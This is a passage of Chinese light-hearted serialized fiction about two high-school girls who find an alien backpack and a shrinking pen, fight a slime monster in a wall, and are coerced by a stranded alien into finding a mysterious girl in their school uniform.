《呼叫中心》
1. 地下游记
装甲,check。武器,check。头盔,check。
用橡皮屑、自动铅笔芯和西瓜虫残骸武装了全身的刘征兰终于下定决心,从桌脚的黑色软胶保护套后探出头,正式与离她们二十厘米远的蚂蚁对峙。
不愿意和蚂蚁对视超过一秒的颜阎躲在她身后,气沉丹田,高声呼喊:“我们没有恶意!放下武器,和平谈话!”
蚂蚁们碰碰触须,窸窸窣窣地面向两人。在一阵有节奏的“嗡嗡嗡”后,两人的表情从惊恐转向目瞪口呆。蚂蚁们以为她们理解了,欣慰地看着她们。
“蚂蚁还有发声系统?”刘征兰问。
“我不知道啊!我也第一次听!”颜阎说。
蚂蚁愤怒地用触须抽两人的橡皮头盔。
突然变成拇指人已经够恐怖了,被蚂蚁大军包围更是惊世骇俗。好在两人是高中生,每天经历的不合理成就了她们强大的内心。在蚂蚁们竭尽全力的表演下,她们终于意识到,班级角落的蚂蚁群已经有了一定的智慧,并且有求于她们。
语言不通是个大问题,但她们常年和无法沟通的老师同学家长在一起生活,已经练就了无敌的理解能力。在人类方“点头yes摇头no”和蚂蚁方“触须抖抖腿动动”的肢体语言下,双方终于开始相互理解。
“你说真的吗?”颜阎低声问刘征兰,“高二二班的蚂蚁让我们去高二一班剿灭另一窝蚂蚁?”
“呃……大概吧。”
“你觉得这科学吗?”
“我们都变成拇指人了,你跟我说科学?变成拇指人后没有产生巨大的压强,说明我们的质量也凭空蒸发了,你跟我说科学?”刘征兰两眼无神,高举双臂大喊一声,“科学死了!”
颜阎不敢再惹她,闭嘴挨训。心里把她们从天文台带回来的绿色书包诅咒了一千遍。
昨天,二班的数学老师家里有事,二班和四班百年一遇地一起上了体育课。刘征兰带着颜阎爬进学校常年封闭的天文台玩,并在里面找到了一个特别眼熟的墨绿色书包。
颜阎坚持认为这个书包在哪里见过,将它带回了教室。在她寻找书包上失主的标记时,刘征兰从这个空无一物的书包里,拿出了一支笔。
接着是枯叶、矿石、长长的电线、还有半瓶水的水瓶,最后甚至掏出了一把造型古怪的枪。
颜阎鬼叫着把枪塞回包里。
书包里的确什么也没有,就算把它翻过来也倒不出任何东西。
刘征兰把手臂放进去,眼睁睁地看着自己的手肘以下全部消失在了书包的底部。
“神奇道具?”颜阎兴奋。
“神奇道具!”刘征兰肯定。
说完这句话,两人面面相觑。神奇道具没有带来危机,也没有带来荣誉,甚至没有带来高考以外的新目标。它就像学校后面咕咕怪叫的鸟、傍晚绚烂的夕阳、或一部手机,只是一种崭新的消遣。
两个聪明人都意识到了这一点,虚无在脑海中蔓延,很快吞噬了激动。她们沉默地看了一会儿那个书包,刘征兰说:“写作业吧。”
颜阎说:“好。”
她们掏出作业,伏在桌上。刘征兰按下中性笔的按钮,速度很快,颜阎甚至来不及提醒她。
她拿的是从绿色书包里找到的那只笔。
事情就这么发生了。两个人的身体迅速缩水,重心改变,地面靠近,桌椅拔地而起,回过神来的时候,身体已经变成拇指人了,一排蚂蚁正好列在她们面前。
但凡两个人有一星半点的宇宙常识,就会知道这是什么。
维修笔。可以有效缩小外形并改变使用者周围的引力,用以检修狭小处的电路和机械装置。也曾一度在银河最火爆的视频软件“心电感应”上红极一时,其他衍生作用更是数不胜数。
可惜两人没有。
“这个故事告诉我们,要收拾好东西,不要随便乱放。”颜阎被蚂蚁抗在背上,沉痛总结。
蚂蚁的体型之于拇指人,就像柯基之于人类,几十只蚂蚁抬着她们俩,客客气气地送到了高二一班的墙洞边。
工蚁们友善地用前肢触碰拇指人的衣服,表示鼓励,还有几位拖出了珍藏已久的水果糖和薯片碎屑,拇指人欲哭无泪地拒绝了它们的好意。
墙洞靠近门框,形状非常不规则,一看就是动物挖掘的。里面很暗,前进五厘米后就看不到任何光线了,两人只能扶墙行走。
墙洞越往里越宽敞,从只能蹲着变成可以直立行走的高度。
“这下好了。”颜阎敲敲墙壁,“墙里面肯定被蛀空了。教学楼早晚变危楼!”
刘征兰说:“说什么呢,不是早就是危楼了吗。”
“……你说得对。”
两个人在黑暗里慢吞吞地走着,大概走过了三分之一个教室的距离,视网膜里出现了一片暖融融的亮光。
颜阎一马当先冲向久违的光明。刘征兰正准备跟上去,颜阎的惨叫便飘过来。
鞘翅、触角、口器、眼睛、内脏、光亮的甲壳和透明的淋巴液堆叠在一起,简直就是一座巨大的昆虫坟场。
这太诡异了。颜阎失声许久,结结巴巴地问:“……蚂蚁应该不会搞这种……呃……京观吧?”
而刘征兰已经彻底说不出话了。
从她的视角看,就在颜阎的头顶,一团流动性很强的胶状物体在蠕动,黏糊糊的身体已经有一半从洞顶道挂下来,几乎滴到颜阎的西瓜虫头盔上。
没有听到刘征兰的回应,颜阎立刻知道大事不妙,苦着脸回头看向自己的朋友,比出口型:“我完了,是不是?”
刘征兰疯狂用眼睛指向上方。
颜阎缓缓举起自动铅笔芯,数着自己心跳的空隙,猛然向上戳刺。笔芯处传来一些阻力,应该成功攻击到了粘液的身体。诡异的手感令她毛骨悚然,登时弃剑而逃。西瓜虫头盔也被她原地扔出去。
这个动作保护了她,粘液状物体向下方直直坠下,只来得及裹住头盔,差一点就把颜阎整个吞进去。
粘液的身体把西瓜虫头盔包裹了起来,蠕动了片刻,颜色渐渐变得深邃,柔软的身体中生出了一层坚硬的棕黑色物体。
粘液怪变成了一只蚂蚁身子,西瓜虫脑袋的怪物。暖黄的光线下,洞壁上的影子狰狞异常。
“诶!”颜阎指着它,“诶?这个?不是,这个是怎么做到的?”
刘征兰苦中作乐,再次高呼:“科学死了!”
死斗一触即发,颜阎心中苦涩:死在这儿,不知道妈妈有多难过。
还没等她心中升起悲伤,对面的拼接怪物就“吱嘎”一声鬼叫,六只脚在地上劈了个叉,趴着没动静了。棕黑色的身体再次蠕动起来,一点点变回了肉色的粘液。
“不是?”颜阎大惑不解,“这个又是因为什么?”
“呃……混搭太严重了产生排斥?我记得西瓜虫不是昆虫,应该是节肢动物来着?”
“……那应该是蚂蚁用气孔呼吸,西瓜虫用腮呼吸。两个东西呼吸管道不一样,氧气供应不足吧。”颜阎对初中知识活学活用。
很好!科学又活了!这就是不懂科学的下场!
刘征兰脸上露出了疯狂
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科学家的笑容。
趁着粘液怪没恢复过来,颜阎一把抓过地上的铅笔芯,狠狠刺下去。粘液的表面产生了一丝褶皱,简直就像在痉挛似的。片刻之后,它的身体摊开了,像是一个肉色的煎蛋。
刘征兰强忍恶心,把蚂蚁头串在笔芯上加长武器,然后用蚂蚁头部的口器攻击“煎蛋”凸起的中心。
粘液的中心极有韧性,里面似乎有好几层肌肉挡着。刘征兰身体前倾,把全身的重量压在铅笔芯上,居然仍穿不透它。
颜阎一咬牙,去昆虫京观里挑了一只死去多时的蝗虫,一边干呕一边扯下它锋利的牙。铅笔芯一插,固定住粘液,蝗虫牙一划,切肉般割下一块肉色的躯体。
她切了三次,直达“蛋黄”。她身后被切掉的部分已经被其他粘液补全,眼看就要蔓延到她脚边。颜阎当机立断,用比较尖的蝗虫牙戳破了“蛋黄”。
刘征兰急忙补刀,连刺三下,次次捅穿。粘液怪总算没了动静。
保险起见,两人绕着粘液怪捅了一圈,确定它没有一丝生物反应了,这才安心趣调查这个洞。
洞里的光源不是火,也不是手电,而是来自几朵白色的蘑菇。蘑菇四周环绕着一圈淡黄的荧光孢子,像是一盏天然的台灯。
除此之外,刘征兰还在京观里找到了一支变小的笔。
“这是我们的笔吧?”
“包里拿出来的笔。”刘征兰纠正,“我觉得是。”
“这么点时间它就给搬过来了?”
“应该是藏在蚂蚁堆里搬过来的,反正它会变形,变个蚂蚁应该也不费劲。”
怪不得二班的蚂蚁没提到这个怪物,原来一直以为这里住的是蚂蚁。
两人抱着自动铅笔,顺着洞壁爬出来。周围的蚂蚁见到她们两个活着,触角欢快地舞动起来。
一通肢体语言过后,双方仍然没有互相理解。不过蚂蚁们已经开始从洞里搬出粘液怪的残骸和其他动物的残肢,最重要的那部分应该已经沟通到了。
有几只蚂蚁抬着两三张卷在一起的红色纸片儿,气宇轩昂地绕着两人转了一圈。
颜阎只消一眼就认出了百元大钞的图案:“还有报酬?真的假的?”
显然是真的。蚂蚁的契约精神和对人类贪婪本性的了解深深震撼了她们,令两人肃然起敬。
“那我们就走了。”刘征兰和领头的工蚁握了握触角,“期待下次合作。”
工蚁们亲切地蹭了蹭她的脸。
颜阎在大战粘液怪后已经不那么介意和昆虫肢体接触了,此时她正在尝试给另一只蚂蚁装上蝗虫牙战甲。
根据人流量判断,距离晚自习上课还有十分钟,还有不迟到的机会!两人乘坐蚂蚁小轿,躲到二班后门靠近景观台的地方,疏散了蚂蚁同伴之后,深吸一口气,按下了中性笔的按钮。
两人瞬间回到了正常的体型。
唯一的问题是,在拇指人状态下,她们之间的距离还可以接受。在正常人状态下,两人之间的距离不比一枚硬币宽多少,凑得过于紧的身体结结实实撞在一块儿,分别倒向两边。
路过的几位女同学停住了脚步。
公冶长像没看见一样飘然而过。
宋悦馨看了看颜阎,又看了看刘征兰,好笑地问:“你们俩,又在做什么怪事?”
远处的郁霖雨赶忙冲过来,企图扶起她们。
刘征兰死死捂住脸,不愿意让任何目光有可乘之机。
而颜阎,早已百米冲刺出去。不知道是压根没听懂宋悦馨淡淡的讽刺,还是被那三百块钱占据了整颗心。
2. 天文台
颜阎和刘征兰蹲在路边早餐摊吃小生煎。
此时正是十一的第一天清晨,天空清澄,云富有层次,让人很难不相信天上有另个王国。空气中的浮尘闪着金色的光。来往的每一个人都喜气洋洋,幸福洋溢,没有一个是开车来的!
假期客流量比工作日少,蓝色彩钢板下面的小吃摊店主都开始了边角料赠送活动,颜阎腆着脸去要了一次酱香饼。
刘征兰跟她说:“你吃得下吗?剩了就算你浪费粮食,给我就不算。”
“我吃得下。”
“真的吗?”
颜阎吃得更快了。
刘征兰:“你别噎着。”
“我有豆浆。”
“可我没有酱香饼。”
“你想让我帮你要一份就直说!”
颜阎去要了第二份酱香饼。
经历了昨天的“随地大小变”事件,她们一致认为那个书包有问题,但又不敢随便把手伸进异空间。于是在假期的第一天,她们决定去书包的发现地——天文台,一探究竟。
世纪之交,一股天文热潮席卷全国。彼时地下资源丰富的榕城富得流油,校长大手一挥就建了天文台。如今它半球型的外观仍令许多学生欣慰。一想到它这么废物却仍然没被拆除,大家就对自己宽容了许多。
天文台位于学校旧楼。旧楼曾经是学生宿舍,由一栋两层、一栋四层的宿舍楼合并而成。随着榕城这个能源城市日渐凋敝而废弃,最近刚被改成活动楼。但高中生是没有活动可言的,所以它本质上仍是一栋废弃建筑,是许多校园传说的高发地。
刘征兰晃着长签介绍:“最近的传说是有学生的冤魂在徘徊,还会去小卖部偷吃的。”
“……那不就是纯小偷。”
“小卖部最近还真有人偷东西,阿姨都已经把告示挂在门口了,说谁偷东西就告诉校长。”
“万一是真冤魂怎么办?”
“这科学吗?”
“咱们都有异世界书包和变大变小笔了,你跟我说科学?”
刘征兰比划:“异世界书包可以是空间折叠,变大变小笔说不定是幻觉什么的。冤魂就是彻底的玄学了!”
“想开点。”颜阎嘬了两口豆浆,“大白天的,不会有冤魂的,它们的习性和蝙蝠差不多,是夜行动物。”
“最好压根没有冤魂。”
“没有冤魂咱俩去看啥。”
颜阎说的很有道理。两人怀着忐忑而矛盾的心情,带着豆浆和吃了一半的小煎包,借着“来学校补课”的理由糊弄了门卫,绕过学校门口的装饰性钟楼和教学楼,直奔旧楼。
旧楼有直达天文台的楼梯,但楼梯每一层都有自己的铁门,四楼通向天文台的门正好用铁链锁着。铁链上的灰抹都抹不掉,已经和铁链融为一体。
真正抵达天文台的道路十分曲折。
旧楼装修扫出来的旧家具堆在走廊里一扇正方形小窗户下,橱柜、折叠椅、老得吱嘎吱嘎叫唤的木桌子和落灰的旧画框在一起叠叠乐。两人踩着折叠椅,蹬住旧画框的上半部分,爬上橱柜,扭动身体把自己塞进正方形小窗户,这就爬上了二层小楼的楼顶。
紧接着,找到二层小楼和四层宿舍相接的那一面墙,上面焊着铁环做的楼梯,钻进铁环里再一环环爬上去,就能直达天文台本该用来观星的斜窗口。从斜窗口爬下去,踩到吊顶,从吊顶翻下去,跳到早就没用的桌子上。这才算是到达天文台。
“这么复杂的路你是怎么找到的?”颜阎致命询问。
“不是我,是康烁影。”刘征兰一边爬铁环楼梯一边腾出手摆了摆,“她带我爬的,她艺术节训练就来这儿。”
颜阎咋舌:“永远不要低估乐队人的执着!”
天文台里空无一人,地上脏兮兮的,古往今来发现这个地方的学生们留下的零食包装袋能在这里开大会。红油漆和黑色的肮脏沾满破桌。
天文台内部一览无余,没什么好躲的。她们把桌下的小柜子都开了一遍,什么也没发现。
“没有冤魂。”颜阎乐呵呵,“我们只好去研究我们的书包了!”
刘征兰却心事重重。她实在不知道这个墙皮剥落的房间哪来的红油漆。不过考虑到这是学校,一切不合理的东西都合理了。
天文台外面的墙上有很多涂鸦。情侣在这里画爱心,无聊的前辈们留下联系方式,还有人拿朋友的名字写藏头诗。
最显眼的还是有人用油性笔写在门上的:“外星人呼叫中心。”颜阎对这行字很满意,看着它傻笑了一阵。
去路比来路短多了,这栋楼所有的楼梯间都留出了一小截窗户的缝隙。只要从四楼和天文台之间的窗户栏杆上滑下去,就能顺利滑倒三楼了。如果曾有小偷来访,他们一定会热泪盈眶地要求把这种安全通道普及全世界。
刘征兰走向安全通道之前,颜阎已经在楼梯间跑了一个来回。她向她报告:“四楼的铁门开着。”
“真的假的?”
“真的。四楼的铁门开着。”
“那还爬什么安全通道,走正门。”
下楼梯时伴随着轻轻的嗡鸣和口哨声,假期第一天的快乐让颜阎忍不住两步跳下台阶,回台询问刘征兰:“一会儿去不去买冰激凌?”
颜阎的笑容僵住了:“你没吹口哨?”
刘征兰:“我还以为你在吹口哨!”
“我压根不会吹口哨!”
楼梯下传来一声口哨。
一个背着枪带,亚麻色背头,一看就不该出现在日常生活中的男人笑眯眯地抱着胳膊,朝两人挑眉。和他气定神闲的外表相反的是,他全身都沾着氧化后黑乎乎的血,身上弥漫着一股铁锈味。
他旁边的东西发出了刚才听到的嗡嗡声。
那东西披着一曾银色的薄膜,楼梯间的玻璃反射明媚的阳光,让那个东西的看起来就像被裹在泡泡里。泡泡里的东西很不规则,表面布满沟壑,感觉像行走的石头堆。
场景一时十分科幻。
颜阎转身就跑,还义气地拉上了刘征兰。
但她跑得太快太急,刘征兰被她拉倒在楼梯上。
一人一泡泡立刻上前。
人高得可怕,三两步迈上刘征兰身边,膝盖压住她的手臂,一只手捏住她的脸,另一只手从自己枪带的口袋中拿出一个极小的方形金属,塞进刘征兰鼻腔中。
刘征兰来不及挣扎,只看到对方烟紫色的眼睛靠近。而后一股凉意从鼻腔直冲天顶,仿佛什么东西钻进她的头颅,把她的神经整个犁了一遍。在她缓过神来之前,从未有过存在感的大脑忽然像是整个抽动了一下。她的神经混乱了,整个人瘫在地上抽搐。
泡泡追着颜阎上了楼梯,刚转过一个转角,就被一把造型古怪的枪抵住了身体。
“不许动!”颜阎怒喝,“都退后,把她放下!”
泡泡没有退后的意思,“嗡嗡嗡”的声音再次从它石头一样的身体中响起。
颜阎牙关紧咬,深绿色书包被她背在身前护住胸腹,枪也是她临时从里面抽出来的,不知道有没有子弹。
万一被人抓住我持枪杀人就麻烦了,我总不能说是从异次元空间拿的。颜阎暗自叹气。
男人举起双手,表情却一点也不紧张,笑着蹲下来,在颜阎“不许动!”的威胁中,把刘征兰扶了起来。
“你好。”他吹了声口哨。
刘征兰惊愕地发现,那声口哨居然在脑海里自动翻译成了中文。
泡泡说:“嗡嗡嗡(救命)!”
颜阎紧张地看着她,枪口缓缓移动:“兰啊,你要是被洗脑了,就算只有一发子弹,我也忍痛先崩你。”
“这下愿意听我们说说了吗?”男人在楼梯上坐下,拍了拍旁边的空位。
刘征兰和颜阎都坐在离他三阶的台阶上,颜阎的枪口还顶着泡泡。刘征兰不停晃脑袋,嘴里叽里咕噜冒出一大堆脏话。
“回来吧。”男人对泡泡招招手,“她那个压根不是射线枪。”
泡泡委委屈屈地走到他身边,一屁股坐下去,丝毫不顾紧张到又端着枪站起来的颜阎。
刘征兰拉住她:“你那个不是真枪。”
“你怎么知道?”
“那个人说的。”
“你能听懂?”
“刚懂的。”
由于
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颜阎不愿意接受鼻腔植入,男人就拿出一个下端圆润的耳骨夹递过来,示意她戴在耳朵上。颜阎夹上之后,泡泡人说了一句:“能听见吗?”
颜阎一下子站起来。
“我英语考试岂不是无敌了!”她说。
刘征兰梆梆给了她两拳。
根据男人的介绍,两个人勉强理解了现状。
“就是说,你是外星人,它是……呃……外星石头。你坠机了,不知道怎么坠落到这里了。这两天就是你在当小卖部小偷。它是来接应你的朋友?”颜阎简单总结,获得了一致好评。
刘征兰冷笑一声:“你这话放到九十年代还有人信。现在已经是二十一世纪二十年代了!谁说外星人就一定长得像人?”
泡泡委屈地举起手:“我不是人,我是石头。”
“再说了,人类一直在做探测,为什么没有发现外星电波!”刘征兰再次发难。
“那只能说明我们的电波频率不同。”男人气定神闲地撑着身子看向两人,“而且你们的星系地理位置实在是太偏僻了,完全是已探索宇宙的边境了,我们没事都不来的。电波传不到很正常。”
刘征兰低声对颜阎说:“我们太阳系房价要跌了。”
“我和我的战友,在逃命。路过你们的母星时,一艘小型跳跃舰出现了。你们的文明程度制造不出这种飞行器,我追过去查看,然后我的飞行器就坏了。对面的跳跃舰里走出来一个人,把我拖进它的跳跃舰里,又进了我战友的飞行器,然后我就被送到这里了。”男人的手指点着大腿,语气阴森森,“这么看来,你们两个嫌疑就很大了。”
刘征兰又想冷笑,但碍于科技差距没敢,只能嘟囔:“关我俩什么事,我俩国都没出过,还出外太空呢。”
男人拍了拍泡泡的表面,泡泡从薄膜里递出一只很卡通的鸟头,男人掰开鸟头,露出鸟嘴里万花筒形状的东西,然后拧开鸟头上竖起的三根毛,按下里面的银色按钮。
鸟嘴里的长筒在楼梯左边的墙上投影出一个画面,似乎是从屋顶监视着一个白色房间的正门。房间的窗户外是深邃的夜空。不知什么原因,画面上有几块黑色的斑点,并呈现出时不时的花屏和黑屏。
房间门打开了,一个人握着一把小臂长的尖头工具,身体外侧萦绕着一层和泡泡很像的薄膜,无视重力,飘然落地,向监控视线之外走过去。又过了一会儿,那个人架着昏厥的男人走出来,跳向房间外无边无际的黑暗中。
监控停下了。
“你们看出来了什么?”
两人都没说话。她们也很困惑。
监控画质清晰,但是偏偏人影的脸模糊不清。只有一件事十分明确。
那个人,穿着她们学校的女式校服。
颜阎大叫:“外太空不穿宇航服就已经很奇怪了,穿女式校服是为什么啊!”
“其实穿了。”泡泡说,“新时代宇航服是我这样的。你们文明程度太低没见过而已。”
颜阎面向男人:“你们告诉我们这些,是想让我们做什么?”
男人两手一摊:“很简单。你们自己应该也猜到了。把监控里这个人找出来,不许把今天看到的事说出去。”
“……女式校服的人多的是,我们怎么找!”
“九月二十八日,根据天体光线,应该是正午过后。”
颜阎质疑:“周三的事?我们昨天下午也来了,压根没看到你们!”
男人说:“我倒是看到你们两个了。听到头顶有动静,我就躲到铁门前了,幸好当时你们没有下来看,不然就要提前和我对上了。”顿了一下,“我也没想到你们今天还会来。”
想到她俩傻呵呵拿走绿色小背包时还有个人在暗处盯着她俩,颜阎和刘征兰都打了个哆嗦。
“总而言之,这些事绝对不能说出来。要是说出来——”男人指了指刘征兰,“她脑袋里的东西就会爆炸。”
刘征兰猛然站起:“这不是个纯粹的翻译器?”
“你说呢?”
“记好哦,不能说出去。”男人朝她们晃晃手指,然后带着泡泡悠哉悠哉地从楼梯走了下去,“否则会死哦。”
3. 馄饨店破局手
从旧楼走出,穿过莫名其妙挖出来的池塘,横穿教学楼,行到设计突兀的希腊风走廊上,再步行五十米,来到学校的伸缩门,半蹲着躲过门卫的视线,做贼一样逃出学校大监狱。
晴朗但略带热意的阳光慷慨地撒向这个小小的城镇。颜阎买了一根可乐碎碎冰,掰给刘征兰一半,两个人在人行道上坐下,开始嗦冰棒。
刘征兰撑着下巴想了一阵。虽然她脑袋里还装着一个定时炸弹,但她还是忍不住想笑。外星人、宇宙、奇妙生物、逃亡、冒险,这些色彩缤纷的词就像一个个音符,敲打着她的神经。
颜阎气鼓鼓的,她最讨厌别人威胁自己,一想到自己和朋友都被威胁,她就感觉憋屈,很想对着空气打一套王八拳。
她承认,外星生物很吸引她,但是被挟持的愤怒比无影无踪的冒险清晰多了。
两个人坐着看面前经过了几十辆电动车,慢慢吃完了冰棒,凝视着天上的浮云呆了一阵,然后刘征兰问:“下面去干嘛?”
“事已至此,先吃饭吧!”颜阎骑上自己破破烂烂的黑色自行车,“走,去十字路口,我找到一家好吃馄饨店。”
县城的宿命就是失去青壮年人口和商业价值,一路上有无数拉着卷帘门的店铺,分店最多竞争最激烈的,是冷面和寿衣。
一片萧条中,颜阎和刘征兰深入菜市场,在毫无卫生可言的黑咕隆咚小巷子里找到一家“姊妹馄饨店”,拉开电镀银的钢筋凳子,在昏暗的灯光下琢磨那张只有“小馄饨”、“中馄饨”、“大馄饨”的菜单。
一个戴头巾的女人背对着她们,坐在角落里的一张小桌子上包馄饨。筷子从装馅儿的盆里一挑再往面皮上一模,手掐着面皮一转,一个馄饨就落到案板上了。
巨大的短视频外放声音里,包馄饨的头巾女人问道:“吃啥?”
刘征兰:“中馄饨不放辣椒。”
颜阎:“中馄饨不要辣,辣椒素过敏,也不要香菜。”
女人放下红汤浸泡的勺子,一言不发地继续捞馄饨。
店里没有空调,只有头顶的小电风扇。锅里的热气蒸得两人汗流浃背,呼吸困难。店里的女人居然能一言不发地把头伸进水蒸气里看馄饨。
过了一阵,馄饨好了。女人用一柄勺从锅里捞出水母一样晶莹的馄饨,滚水烫化猪油,再洒一把自带咸香的切海带丝和虾米。面香与肉香混在一起,勾得颜阎馋虫冒,馄饨一端上来她就舀了一个,结果被汤烫得呼哧呼哧吹气。
女人没敦促她们交钱,刘征兰奇怪地望了望她。透过氤氲的蒸汽和昏暗的光线,她瞥见了女人的五官。
“张晓怡?”刘征兰问。
张晓怡扭过头,冷冷地看着她:“干什么?”
反正馄饨还烫,颜阎支起下巴看热闹:“你俩认识?”
“同学。”刘征兰转头问,“这是你家的店?”
“不是。”张晓怡重重放下另一桌上没来得及收拾的蓝花馄饨碗,“我打工。”
颜阎倒吸一口冷气。
打工是不可能打工的,这辈子都不可能打工的!榕城虽然破,虽然旧,虽然是乡下农村,但这里的人及其重视教育。考上高中的孩子,家里倾家荡产也要供,就连只上到初中的小孩都不能跑出去打工,高低得出去读个中专。从没听说过学生打工!
就算是打工,榕城就这么大点,谁和谁都有点关系。今天早上打的工,下午就传到家里去了。家里人一看你不好好学习在打工,得把你腿打断。
颜阎竖起拇指:“勇士!”
张晓怡白了她一眼:“你少说话,吃就行了!”
颜阎疑惑,明明自己没惹她,她为什么这么凶?
刘征兰一看她的脸就知道,她又把人家忘了。于是悄悄给她发消息:你以前和她吵过架,她骂你们班一个女生穿名牌衣服,虚荣。
颜阎恍然大悟——的确不记得。
这时候外面走过来另一个女生,此人一件抹茶绿短袖配牛仔鱼尾裙,粉颊黛眉,长发如波,妆容恰到好处,休闲又时尚。所有人的目光都不自觉地集中在她身上。
她一走进来,整个苍蝇馆仿佛多出了几束舞台打光,使她从幕布后闪亮登场,惊艳众人。视觉效果和场景格格不入。连翘着二郎腿的人都坐直了身体,仿佛在用刀叉吃法餐。
“老张,你吃个饭。我帮你看着。”女生说。
刘征兰整个人都散发出一种苦苦的气息。
女生被她的气息苦到了,一回过头,惊喜地看着她们两个:“老刘,颜阎,你们怎么在这儿?”
“我们来吃饭。”颜阎老实回答。
女生卸了手上的几串手链,用它们绑了个马尾,自然地坐在一边,边拨弄着锅里的馄饨边回话:“我来帮老张,顺便蹭个饭。”
那边张晓怡已经脱了围裙和头巾,和她说去对面面包房买个面包吃,便匆匆离开了。
目送张晓怡消失在视线尽头,女生看向颜阎,阴仄仄地问:“你是不是没认出来我?”
“认出来了!认出来了!真的认出来了!”颜阎大叫,“你是康烁影嘛!就高一有一次没认出你来,至于每次见面都问我一次吗?”
康烁影抬起下巴“哼”了一声,视线又移向了刘征兰。
刘征兰抬手:“你好。介于你已经忽略我了,我继续当空气。”
康烁影拿勺柄“当当”敲锅边:“明明是你先不守约好不好!”
“打住。”颜阎叼着馄饨作“停止”的手势,“什么情况?说给我听听?”
“她昨天说好借我作业抄,结果她自己也没写!”康烁影告状。
刘征兰很委屈:“我是说了,但我真有事。给你作业又不是我的……”她想说“给你作业又不是我的义务”,但忍住了,因为颜阎开始打岔。
“她昨天被物理老师扣押了,我去问题看见她了。先不说她,你昨天去哪了?我带了盒薄荷糖来分,特意来你们班找你,都没看见你。”
“我在和张晓怡她们看我担的MV,嘿嘿嘿……”
在颜阎和康烁影有一搭没一搭的闲聊中,张晓怡叼着最后一口面包回来了。
康烁影问她:“真不用再帮你看一阵?一会儿就中午了,人多。”
“不用。这偏僻地方中午也没什么人。”张晓怡摆摆手,“你回去吧,别耽误你学习。”
康烁影担忧地看着她,美丽的眼睛闪呀闪:“那我走了,再见。”
大家都跟她道别:“拜拜。”
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康烁影离开后,打光和气氛都回来了!颜阎重新翘上了二郎腿。
张晓怡盯着康烁影离去的方向,冷笑了一声:“你们觉不觉得康烁影特别装?”
颜阎嘴里的馄饨都吓掉了:“你跟我俩说你朋友的坏话?”
“我就说!你还能打我不成?”张晓怡威胁,“你要是敢说出去,我就往你馄饨汤里下毒。”
“没事。我是八卦黑洞,八卦进去出不来的,因为我在班上没朋友,没人可说。”颜阎老实交代,“唯一可以说的人就是刘征兰,她在这儿,你没什么好怕的。”
说起刘征兰,张晓怡又转过头面向她:“你觉不觉得康烁影特别端着?”
刘征兰含含糊糊:“还行吧,还行吧。”
张晓怡左右看了看,宣布道:“反正我觉得她很装!”
颜阎纯嘴欠:“你都不需要我俩赞同,自己就下结论了。人家哪里惹你了?她还来帮你看店呢。”
这些话别人说出来可能已经挨揍了,但说这话的是颜阎,大家都知道她纯粹是心直口快,心眼倒没多坏。所以张晓怡宽恕了她:“她就是来刷个存在感。你没看她就在这儿呆了十分钟吗?”
颜阎:“人家都说了要留下来帮你,明明是你把她赶走的。”
张晓怡晃晃手指:“你们都被事物的表象迷惑了,真正想干活的人不会穿成那样的。只会像我这样黑T黑裤,不然吸油。”
颜阎还想反驳,她觉得这些归根结底是张晓怡的猜测,但是被疯狂拍她大腿的刘征兰制止了。
刘征兰示意她看手机。
颜阎低头一看,上面写着:我突然想起来,张晓怡的舅姥爷好像在学校门口当门卫。
要是说服张晓怡,岂不是可以直接调监控,看看九月二十八日谁出了校门!
颜阎整个人立刻理中客起来:“确实,那种衣服确实不吸油。你这种才像长期工。”
张晓怡给她加了个馄饨。
颜阎千恩万谢地用碗接过来:“谢谢老大!老大为什么在这边干活?十字路口的雪王也招临时工啊。”
张晓怡抱着胳膊:“不想被同学看见。你俩无所谓,你俩八卦黑洞也没地方说。”
刘征兰抗议:“怎么八卦黑洞还有我了?”
“你会说吗?”张晓怡反问。
她不会。刘征兰闭上嘴。
颜阎问:“你平时也出来打工?”
“出来。周二周四的自习课我都出来。那个时候老板去接孙女放学,我就看一阵。周一周三下午最后一节课不是自习,我跑不掉。”
颜阎故作惊讶:“你怎么敢跑的呀?不怕你们班主任抓?你们班主任不是特别严吗?”
张晓怡嗤笑:“道高0.33333,魔高3.3333。周天子也就最后一节课的前十分钟在学校,十分钟后她就走了。”
没想到魔这么高。
“你怎么知道的?”
刘征兰趁机引出关键:“她舅姥爷是门卫,她能看监控啦。”
颜阎崇拜地看着她:“真的吗?老大?”
张晓怡点头:“嗯哼。”
“老大!”颜阎满脸谄媚,“拜托你一件事,我能看看九月二十八号的监控吗!”
4. 逃学威龙
不出所料,张晓怡拒绝了。
“神经病!我为什么要没事给你们看监控!”
颜阎死缠烂打:“求你了求你了!世界第一大美人,善良慈悲女菩萨,救苦救难圣母玛利亚……”
“你就是认我当妈都没用!”张晓怡收了她们的碗,“吃完了就快走,滚滚滚!”
两人被扫地出门。
刘征兰问:“接下来该怎么办?”
“再来!”颜阎斩钉截铁,“为了你的脑袋不爆炸,我们厚着脸皮天天来吃饭!你一天我一天!”
嘴上是这么说,其实两个人谁都没做到。
颜阎回家跟妈妈说找到一家特别好吃的小馄饨,假期中午想多吃几次。妈妈错愕地看着她:“再好吃的东西也不能每天都吃啊!”
“求你啦求你啦。”颜阎凑过去黏糊糊地撒娇,“而且,而且……我同学在那里干活嘛,我想照顾她一下。”
“你同学?这么小出来打工?”妈妈把她推开,“就你那仨瓜俩枣还想帮人家?申请贫苦补助比什么都强!”
“苍蝇再小也是肉……”
妈妈反过来撒娇:“那妈妈和奶奶做了好吃的给谁吃呢?没有了我们宝贝,饭都不香了。”
颜阎战败,屈辱地给刘征兰发消息:“朋友,我失败了。你那边怎么样了?”
刘征兰更惨,她刚站到妈妈面前,说出:“假期中午不回来吃饭了。”就遭到了狂轰滥炸。
她的妈妈从家庭观念说到伦理道德,又拐到餐桌礼仪和传统文化。总而言之,刘征兰居然不回来吃饭,她是个忘本的白眼狼!
在她的攻击下,刘征兰无比怀念拇指人形态的自己——至少能让妈妈找不到她。
不要脸行动的第一步失败了。但时间就像化学实验室水龙头里的水,拍一拍总会有的。
今天我去送作业,明天你去买饮料,两个人每天抽出半小时,火速赶往馄饨店,吃完一碗五块钱小馄饨,用希望的眼神盯着张晓怡,然后再火速回家。为了这个计划,每天她们都撑得想吐。
张晓怡烦不胜烦,一边应付两个烦人精,一边还要和每天都来帮忙的康烁影“友好交流”,她身心俱疲。终于,在国庆假期的最后一天,张晓怡爆发了。
她一手举着长勺,一手举着手机录像,充满现代法律意识:“你和刘征兰到底要干什么!”
“呃,看……看监控……”面对摄像头,颜阎的气势不自觉矮了几分,幸好她戴着口罩,这给她增添了不少面罩狂徒的自信。
“看监控干什么!你知不知道这违法!”
“你明明自己也看!”
